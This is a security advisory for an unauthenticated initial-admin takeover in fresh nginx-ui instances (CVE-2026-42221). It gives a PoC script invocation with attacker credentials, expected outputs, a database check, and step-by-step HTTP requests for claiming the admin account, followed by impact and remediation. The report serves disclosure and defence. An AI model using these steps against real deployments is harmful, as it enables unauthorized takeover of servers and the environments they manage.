CVE-2026-42221

This was verified locally in an isolated lab instance. A fresh instance returned {"lock":false,"timeout":false}, an unauthenticated POST /api/install returned {"message":"ok"}, the instance then flipped to {"lock":true,"timeout":false}, and the on-disk SQLite database showed user ID 1 renamed to the attacker-controlled username with a non-empty password hash.

PoC

The quickest local verification path is the helper script created during validation:

ATTACKER_EMAIL='[email protected]' ATTACKER_USER='attacker' ATTACKER_PASS='Password12345' \
'/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/output/verify/verify_fresh_install_takeover.sh'

Expected proof points:

[1/6] Fresh-instance status:
{
  "lock": false,
  "timeout": false
}

[3/6] Claiming the initial administrator account...
{
  "message": "ok"
}

[4/6] Verifying install is now locked...
{
  "lock": true,
  "timeout": false
}

[5/6] Verifying the on-disk admin record was overwritten...
{
  "id": 1,
  "name": "attacker",
  "password_len": 60
}

To confirm the final state manually:

sqlite3 '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/tmp/poc-install-takeover/database.db' \
'select id,name,length(password) from users where id=1;'

Expected output:

1|attacker|60

Manual HTTP reproduction is also straightforward:

1. Request GET /api/install and confirm lock=false and timeout=false.
2. Request POST /api/crypto/public_key to obtain the public RSA key.
3. Encrypt {"email":"[email protected]","username":"attacker","password":"Password12345"} with that public key and base64-encode the ciphertext.
4. Submit the ciphertext to POST /api/install as {"encrypted_params":"..."}.
5. Re-request GET /api/install and observe that lock=true.
6. Inspect the backing database and confirm user ID 1 now belongs to the attacker-controlled username.

Impact

This is an authentication bypass / initial admin claim vulnerability affecting fresh, uninitialized instances that are reachable over the network during the installation window. Any attacker able to reach the service before the legitimate operator can permanently take ownership of the first administrator account and thereby seize control of the application. Because nginx-ui is an administrative interface for Nginx and related host-management features, compromise of the initial admin account can lead to unauthorized configuration changes, certificate management abuse, backup manipulation, service disruption, and broader operational takeover of the managed environment.

Remediation

1. Require a single-use bootstrap secret for installation. Generate the token locally on first start, print it only to the server console or write it to a root-owned local file, and require it on POST /api/install.
2. Restrict installation endpoints to loopback by default until setup completes. Remote setup should require an explicit opt-in configuration flag, not be enabled automatically on all interfaces.
3. Make installer claim atomic and explicitly stateful. Persist a dedicated installation state record, consume the bootstrap token exactly once, and refuse concurrent or repeated initialization attempts even within the startup window.